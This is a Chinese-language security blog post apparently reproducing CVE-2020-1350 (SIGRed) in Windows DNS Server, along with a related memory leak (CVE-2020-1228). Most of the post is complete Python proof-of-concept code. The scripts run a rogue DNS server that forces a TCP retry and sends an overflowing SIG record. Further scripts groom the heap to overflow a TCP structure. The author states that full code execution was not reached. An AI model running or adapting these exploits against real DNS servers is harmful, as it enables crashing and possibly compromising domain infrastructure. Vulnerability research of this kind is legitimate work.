7月14的公布了dns的一个远程rce的补丁, 与此同时, 发现者也发布了一篇相关的利用文章(虽然他们并没有完成利用:) ) 我也研究了下这个漏洞, 从复现poc到探究利用可能性, 花了几天时间, 然后发现了一个内存泄露. 一开始没有及时报, 没想到还是被别人撞了T-T.

原发现者的文章描述的已经足够详细, 本文将简短描述下从它的文章开始, 实现poc构造. 另外分享一下同时存在的内存泄露bug, 以及一些可能的利用思路.(拖延症患者, 内容比较随意, 主要是分享一些思路和想法, 所以比较随意….)

CVE-2020-1350漏洞成因


溢出点在行19, 其中rest_size最大值可以是0xffff-29-namelen(举例, 对于网址v-v.space, 其namelen 为”\x03v-v\x05space\x00”的长度, 即11). 函数Name_PacketNameToCountNameEx读取的最大长度为0xff, 而RR_AllocateEx接受的第一个参数类型是u16类型, 从而在特殊情况下导致了整数溢出.

poc构造思路

虽然知道需要一个ns中转记录, 但是不太会配置dns服务器, 花了一天才弄明白中转的设置.

  1. 服务器管理器->工具->选择DNS->打开DNS管理器
  2. 打开转发器配置界面,配置伪DNS服务器IP地址

    此处的ip就是我们需要发送poc的伪服务器地址.

通过发现者发表的文章SIGRed – Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers中的这个图片

img

可以知道, 触发路径是Tcp_Receiver -> Answer_ProcessMessage -> Recurse_ProcessResponse -> Recurse_CacheMessageResourceRecords -> Wire_CreateRecordFromWire -> SigWireRead.

通过文章内容我们知道, 大意就是让这个dns server 向另一个dns server(记作X)发起请求, 然后 X 回了一个要求用tcp请求连接的回执(因为默认dns查询用的udp), 然后dns server 再次用tcp 向 X 发起请求, X 回了一个包, 就能走到这个路径.

那么首先需要构造一个强制要求tcp的回执, 这里我直接dump了wireshark的一个正常查询v-v.space的回执包, 然后设置回执flag为tcp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \
"\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \
"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \
"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \
"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"

def udp_handler():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('0.0.0.0', 53))
while True:
data, addr = s.recvfrom(2048)
print "received:", data.encode('hex'), "from", addr
ba = bytearray()
ba.extend(map(ord, data+resp))
ba[2] = 0x86 # 设置flags
ba[7] = 1 # 设置PR为1个
data = bytes(ba)
l = s.sendto(data, addr)
print "sent", hex(l), hex(len(data))
print '-++++++++++++++++++++++\n'
s.close()
print 'close udp'

def tcp_handler():
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(('0.0.0.0',53))
server.listen(5)
while True:
conn,addr = server.accept()
print addr
data = conn.recv(1024)
...
conn.send(new_data)

image-20201018123422565

image-20201018123504385

之后, 向目标发起9999.v-v.space的dns请求:

1
2
3
4
5
6
7
8
import dns.message, dns.query
import thread

def doer():
m = dns.message.from_wire("\xce\x2e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+"\x049999"+"\x03"+"v-v"+"\x05"+"space"+"\x00\x00\x01\x00\x01") #
mr = dns.query.udp(m, '192.168.170.134') # here is the target dns server.

doer()

得到如下交互流程:

image-20201018123817112

从交互流程可以看到, 我向192.168.170.134请求了一个dns, 它将请求转到192.168.170.1的dns服务器, 服务器回执了一个带truncated的flag的答复, 然后134用tcp连接到192.168.170.1, 重新发起请求. 这时候我可以回任意的回执.

接下来在函数Recurse_CacheMessageResourceRecords内下断点, 可以看到它a1+0xE06开始, 是我给回执. 至于为什么是+0xe06位置, 可以在函数Tcp_Receiver -> Tcp_ReceiveMessage的recv调用找到.

接下来就是枯燥的逆向Recurse_CacheMessageResourceRecords函数的流程. 此处我不会再讲怎么逆向, 只说一下大致的执行流程. dns有4个类型的请求, questions, answer, authority, additional. 函数按顺序从dns头获取该类型的个数, 然后执行相应的处理.

当处理到answer类型, 且type为46或者24时, 就能进入到Wire_CreateRecordFromWire函数.

image-20201018125504229

所以完整type46的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: UTF-8
import socket
from impacket.structure import Structure
import dns.message, dns.query
import threading
import struct

resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \
"\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \
"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \
"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \
"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"

def getNameLen(data):
s = 0
o = 14
l=ord(data[o:o+1])
while l:
s += l+1
print l
o += 1+l
l = ord(data[o:o+1])
return s+1

def tcp_handler():
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(('0.0.0.0',53))
server.listen(5)
while True:
conn,addr = server.accept()
print(conn,addr)
while True:
data = conn.recv(1024)
if not data:
continue
# print 'recive:',data.encode('hex')
ba = bytearray()
poison = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff\xcc'+'a'*18+'\xc0\x0d'+'\x00'*0xffff
data = data[:18+getNameLen(data)]+poison
ba.extend(map(ord, data[:0xffff+2]))
ba[0] = struct.pack('>H', 0xffff)[0]
ba[1] = struct.pack('>H', 0xffff)[1]
# flags
ba[4] = 0x84
ba[5] = 0
# answer PRs
ba[8] = 0
ba[9] = 1
# other prs
ba[10] = 0
ba[11] = 0
ba[12] = 0
ba[13] = 0

data = bytes(ba)
l = conn.send(data)
print 'sent',hex(l), hex(len(data))
print '---------------------------\n'
conn.close()
break
print 'tcp recv exit'

def udp_handler():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('0.0.0.0', 53))
while True:
data, addr = s.recvfrom(2048)
print "received:", data.encode('hex'), "from", addr
ba = bytearray()
ba.extend(map(ord, data+resp))
ba[2] = 0x86
ba[7] = 1
data = bytes(ba)
l = s.sendto(data, addr)
print "sent", hex(l), hex(len(data))
print '-++++++++++++++++++++++\n'
s.close()
print 'close udp'


import thread
thread.start_new_thread(udp_handler,())
thread.start_new_thread(tcp_handler,())


raw_input('>')

type 24的可以参见CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit

内存泄露

内存泄露就很简单了, 在函数Recurse_CacheMessageResourceRecords的循环处理函数Wire_CreateRecordFromWire返回值的时候, 如果在处理下一个answer时中途出现错误, 会直接跳出循环. 虽然它保存了所有的内存指针, 但是并没有调用free操作把所有指针释放掉, 导致最后内存指针丢失, 造成内存泄露. 最后微软给的cve是 CVE-2020-1228 .

image-20200911110523307

以下是内存泄露的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
# -*- coding: UTF-8
import socket
from impacket.structure import Structure
import dns.message, dns.query
import threading
import struct
import time

resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \
"\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \
"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \
"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \
"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"

def getNameLen(data):
s = 0
o = 14
l=ord(data[o:o+1])
while l:
s += l+1
print l
o += 1+l
l = ord(data[o:o+1])
return s+1

def get_alloc_max_spray(n, n_answer):
if n > 0x7f7:
raise "number is too big"
p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\xe0'+'\xaa'*18+'\xc0\x0d'+'a'*7+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'
p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0d'
n_answer[0] = n+1
return p0+p1*(n-1)

def get_alloc_max_and_free(n, n_answer):
n_answer[0] = (n+0x100)/8
if n > 0x10047:
raise "number is too large"
size = 0xff&(n-0x48-0x3b)
p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(size)+'a'*18+'\xc0\x0d' # size = 0xffc4+0x3b = 0xffff
return p0

def tcp_handler():
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(('0.0.0.0',53))
server.listen(5)

# totalSize = 0
# size = totalSize-0x48-0
n_answer = [0, 0]
funcs = [
get_alloc_max_spray
]
steps = [
(0x2ab0*4, funcs[0], 3),
]
step = 0
step_i = 0
while True:
conn,addr = server.accept()
print addr
while True:
data = conn.recv(1024)
if not data:
continue

print 'step:',step,'step_i', step_i

ba = bytearray()
data = data[:18+getNameLen(data)]+steps[step][1](steps[step][2], n_answer)
ba.extend(map(ord, data))
ba[0] = struct.pack('>H', len(data)-2)[0]
ba[1] = struct.pack('>H', len(data)-2)[1]
# flags
ba[4] = 0x84
ba[5] = 0
# answer PRs
ba[8] = n_answer[0]>>8
ba[9] = n_answer[0]&0xff
# other prs
ba[10] = n_answer[1]>>8
ba[11] = n_answer[1]&0xff
ba[12] = 0
ba[13] = 0

data = bytes(ba)
if step == 4:
thread.start_new_thread(sendAQuery,())
time.sleep(0.001)
l = conn.send(data)
print 'sent',hex(l), hex(len(data))
print '---------------------------\n'
conn.close()
step_i += 1
if steps[step][0] == step_i:
step += 1
step_i = 0
break
print 'tcp recv exit'

def udp_handler():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('0.0.0.0', 53))
while True:
data, addr = s.recvfrom(2048)
print "received:", data.encode('hex'), "from", addr
ba = bytearray()
ba.extend(map(ord, data+resp))
ba[2] = 0x86
ba[7] = 1
data = bytes(ba)
l = s.sendto(data, addr)
print "sent", hex(l), hex(len(data))
print '-++++++++++++++++++++++\n'
s.close()
print 'close udp'


import thread
thread.start_new_thread(udp_handler,())
thread.start_new_thread(tcp_handler,())


raw_input('>')

cve-2020-1350的利用思路分析

通过分析它的堆分配函数Mem_Alloc可以知道, 当请求的size超过0xa0时会分配传统heap, 否则从它自定义的大堆内选一个被切出来的小块作为结果返回. 而在函数Recurse_CacheMessageResourceRecords内, 它把函数Wire_CreateRecordFromWire返回的heap通过单项链表串联了起来, +0位置指示了下一个结构体的指针.

利用内存泄露bug, 就可以实现完美的内存布局. 而dns内部, 某些size对应的堆并没有被激活lfh, 所以可以和普通的大堆挨在一起.

tcp主结构体溢出思路

  1. 申请非常多0x10000这种大内存, 耗尽空隙
  2. 利用records申请一个0x10000+0x100的内存, 再申请个0x10000的内存(记作T), 那么这两个内存就会挨着. 在处理结束后, 就会留下一个0x100120的洞
  3. 申请一个0x10000的内存, 就会切下一个0x110的洞
  4. 申请一个tcp的query请求, 再申请一个0x100的内存来溢出, 由于它内部一些机制, 最后会把当前tcp的大块0x101f4申请到 T内存 之后, 从而可以溢出到tcp的主结构体

我最后并没有在windows server 2019上找到合适的泄露信息组件, 导致没办法完成利用. 精力有限, 便没有继续深入分析. 希望有兴趣的人可以基于此作更长远的利用.

下面是一个溢出的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
# -*- coding: UTF-8
import socket
from impacket.structure import Structure
import dns.message, dns.query
import threading
import struct
import time

resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \
"\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \
"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \
"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \
"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68"

def sendAQuery():
m = dns.message.from_wire("\xcc\x2e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+"\x049999"+"\x03"+"v-v"+"\x05"+"space"+"\x00\x00\x01\x00\x01")
mr = dns.query.tcp(m, '192.168.170.140')
print "send query"


def getNameLen(data):
s = 0
o = 14
l=ord(data[o:o+1])
while l:
s += l+1
print l
o += 1+l
l = ord(data[o:o+1])
return s+1

def get_alloc_1_c0h_and_ow_c0h(n, n_answer):
p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x2d'+'a'*18+'\xc0\x0d'+'a'*7+'\x10'+'\x39'+'a'*0xf+'\x00' # len 79h
p1 = '\xc0\x0c\x00\x2e\x00\x01\x5c\xf5\x00\xec'+'\xff\x7a'+'a'*18+'\xc0\x0e'+'a'*9+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00' # 87h
n_answer[0] = 2
return p0+p1+'\xcc'*0xff00

def get_alloc_ow_size(size, n_answer):
n_answer[0] = size/8-2
if size > (0xd1+0x48):
raise 'size is too big'

n = 0xff & ((0x10000|(size-0x48))-0xff)
p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(n)+'\xaa'*18+'\xc0\x0d'+'a'*7+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'
fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'a'*(size-0x10)
padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p0)-0x20)
fake_num = (0xffff-0x20-len(p0)-padsize)/(size+0x10)
print 'padsize:%x,fake_num:%x'%(padsize, fake_num)
return p0+'b'*padsize+fake_header*fake_num

def get_alloc_ow_size_without_records(size, n_answer):
n_answer[0] = 2
if size > (0xd1+0x48):
raise 'size is too big'

n = 0xff & ((0x10000|(size-0x48))-0xff)
p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(n)+'\xaa'*18+'\xc0\x0d'+'a'*7+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'
fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'a'*(size-0x10)
padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p0)-0x20)
fake_num = (0xffff-0x20-len(p0)-padsize)/(size+0x10)
print 'padsize:%x,fake_num:%x'%(padsize, fake_num)
return p0+'b'*padsize+fake_header*fake_num

def get_alloc_2_A9h_and_ow(n, n_answer):
n_answer[0] = 3
p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x21'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x04'+'\x11'+'\x39'+'\x00'*0x2+'\x00'
p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e'
p2 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff\x62'+'\x00'*10+'\x39'+'\x00'*7+'\xc0\x0f'+'\x00'*0x30+'\x39'+'a'*0x39+'\x15'+'a'*0x15+'\x00'
size = 0xb0
padsize = 2*(size+0x10)-(0x10+0x4c+0xff-size)-(len(p2)-0x20)
fake_header = '\xcc'*16+'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe'+'\x00'*(size-0x10)
fake_num = (0xffff-0x20-len(p0)-len(p1)-len(p2)-padsize)/(size+0x10)
print 'padsize:%x,fake_num:%x'%(padsize, fake_num)
return p0+p1+p2+'b'*padsize+fake_header*fake_num

def get_alloc_C0h_many(number, n_answer):
if number > 0x7fd:
print "number is too big"
return None
# size = (size-0x48-0x3a-0x1c)/2
p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x2d'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x10'+'\x28'+'\x00'*0xf+'\x00'
p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e'
n_answer[0] = number+1
return p0+p1*(number-1)

def get_alloc_A9h_many(number, n_answer):
if number > 0x7fd:
print "number is too big"
return None
# size = (size-0x48-0x3a-0x1c)/2
p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x21'+'\x00'*18+'\xc0\x0d'+'\x00'*7+'\x04'+'\x11'+'\x39'+'\x00'*0x2+'\x00'
p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\x00\x14'+'\x00'*18+'\xc0\x0e'
n_answer[0] = number+1
return p0+p1*(number-1)

def get_alloc_max(n, n_answer):
n_answer[0] = 2
if n > 0x10047 or n < (0x48+0x3b):
raise "number is too large or small"
size = 0xff&(n-0x48-0x3b)
size_h = (n-0x48-0x3b)>>8
p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+chr(size_h)+chr(size)+'a'*18+'\xc0\x0d' # size = 0xffc4+0x3b = 0xffff
return p0

def get_alloc_max_and_free(n, n_answer):
n_answer[0] = (n+0x100)/8
if n > 0x10047:
raise "number is too large"
size = 0xff&(n-0x48-0x3b)
p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec'+'\xff'+chr(size)+'a'*18+'\xc0\x0d' # size = 0xffc4+0x3b = 0xffff
return p0

def tcp_handler():
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(('0.0.0.0',53))
server.listen(5)

# totalSize = 0
# size = totalSize-0x48-0
n_answer = [0]
funcs = [
get_alloc_A9h_many,
get_alloc_ow_size,
get_alloc_max,
get_alloc_2_A9h_and_ow,
get_alloc_max_and_free,
get_alloc_ow_size_without_records
]
steps = [
(3, funcs[0], 0x700),
# (1, funcs[0], 0x80),
(0x80, funcs[2], 0x10000),
(1, funcs[4], 0x10000),
(1, funcs[2], 0x10000),
(1, funcs[5], 0x100)
]
step = 0
step_i = 0
while True:
conn,addr = server.accept()
print addr
while True:
print 'step:',step,'step_i', step_i

data = conn.recv(1024)
if not data:
continue
# print 'recive:',data.encode('hex')
ba = bytearray()
# real size is 0xa8+0x48 = 0x100
data = '{:\x00<65537}'.format(data[:18+getNameLen(data)]+steps[step][1](steps[step][2], n_answer))
ba.extend(map(ord, data))
ba[0] = struct.pack('>H', 0xffff)[0]
ba[1] = struct.pack('>H', 0xffff)[1]
# flags
ba[4] = 0x84
ba[5] = 0
# answer PRs
ba[8] = n_answer[0]>>8
ba[9] = n_answer[0]&0xff
# other prs
ba[10] = 0
ba[11] = 0
ba[12] = 0
ba[13] = 0

data = bytes(ba)
if step == 4:
thread.start_new_thread(sendAQuery,())
time.sleep(0.001)
l = conn.send(data)
print 'sent',hex(l), hex(len(data))
print '---------------------------\n'
conn.close()
step_i += 1
if steps[step][0] == step_i:
step += 1
step_i = 0
break
print 'tcp recv exit'

def udp_handler():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('0.0.0.0', 53))
while True:
data, addr = s.recvfrom(2048)
print "received:", data.encode('hex'), "from", addr
ba = bytearray()
ba.extend(map(ord, data+resp))
ba[2] = 0x86
ba[7] = 1
data = bytes(ba)
l = s.sendto(data, addr)
print "sent", hex(l), hex(len(data))
print '-++++++++++++++++++++++\n'
s.close()
print 'close udp'


import thread
thread.start_new_thread(udp_handler,())
thread.start_new_thread(tcp_handler,())


raw_input('>')

其它

以下是溢出的长度计算方式:

注意: 以上所有poc的溢出参数和域名长度以及’9999’密切相关, 如果要修改, 注意更改相应的参数.